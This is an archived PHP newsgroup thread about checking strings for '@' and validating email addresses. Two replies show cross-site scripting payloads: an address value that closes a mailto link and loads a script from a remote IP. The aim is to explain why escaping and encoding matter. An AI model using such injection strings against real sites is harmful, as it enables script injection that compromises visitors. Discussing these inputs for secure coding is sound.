Finding @ in a string, and other items

[Picture Dots]

Ok - I want to check a string for @ in it (Im checking to see if a string
that should contain an email holds a @ )

How would I go about this? preg_match? ereg? strstr?Examples ?

Also - how would I find any non alpha numeric characters in a string so I
can give the user an error message. I dont want any characters besides
alpha-numeric in the strings.

[Chung Leong]

I just thought of a reason to validate the syntax of a email address. If the
address is going to be placed in a hyperlink that is displayed publically,
with validation an attacker can inject Javascript into your page:

<a href="mailto: $address">

if $address is "><script src="123.45.2.1/a.js">

then the output becomes

<a href="mailto: "><script src="123.45.2.1/a.js">">

Uzytkownik "John Dunlop" <jo*********@jo hndunlop.info> napisal w wiadomosci
news:MP******** *************** *@News.Individu al.NET...

Rahul Anand wrote:

You can find a regular expression to validate email-address here:

http://www.ex-parrot.com/~pdw/Mail-RFC822-Address.html

This is a Perl module which validates email addresses against the
syntax of RFC822 (obsoleted by RFC2822); the pattern itself will not
match all valid email addresses, despite its complexity.

Try using this if it worth using for your email-validation :)

Validating the syntax of an email address and finding it exists is
not proof of it being in use. If you'd like to know that what a user
entered is really her email address, then a confirmation mail is the
best way, as both the CGI FAQ and the Mail::RFC822::A ddress
documentation recommend.

--
Jock

[John Dunlop]

Chung Leong wrote upsidedown:

I just thought of a reason to validate the syntax of a email address. If the
address is going to be placed in a hyperlink that is displayed publically,
with validation an attacker can inject Javascript into your page:

<a href="mailto: $address">

if $address is "><script src="123.45.2.1/a.js">

then the output becomes

<a href="mailto: "><script src="123.45.2.1/a.js">">

If you're inserting user-supplied data into your document, and only
checking said data conforms to RFC(2)822 address syntax, you've still
got problems. Imagine this syntactically valid address in the
situation above:

"><script src='scheme:123 .45.2.1/a.js'>"@domain. example

(It's essential to use an absolute URI, otherwise the src value will
be interpreted as a relative URI. Adding the required type
attribute, obligatory SCRIPT end-tag, and the A element's end-tag,
could conceivably result in a valid document!)

Presumably, however, if the address is to be used as part of an URL,
you'd URL encode it, after separating it into its component parts.
This is a hypothetical discussion. :-)

--
Jock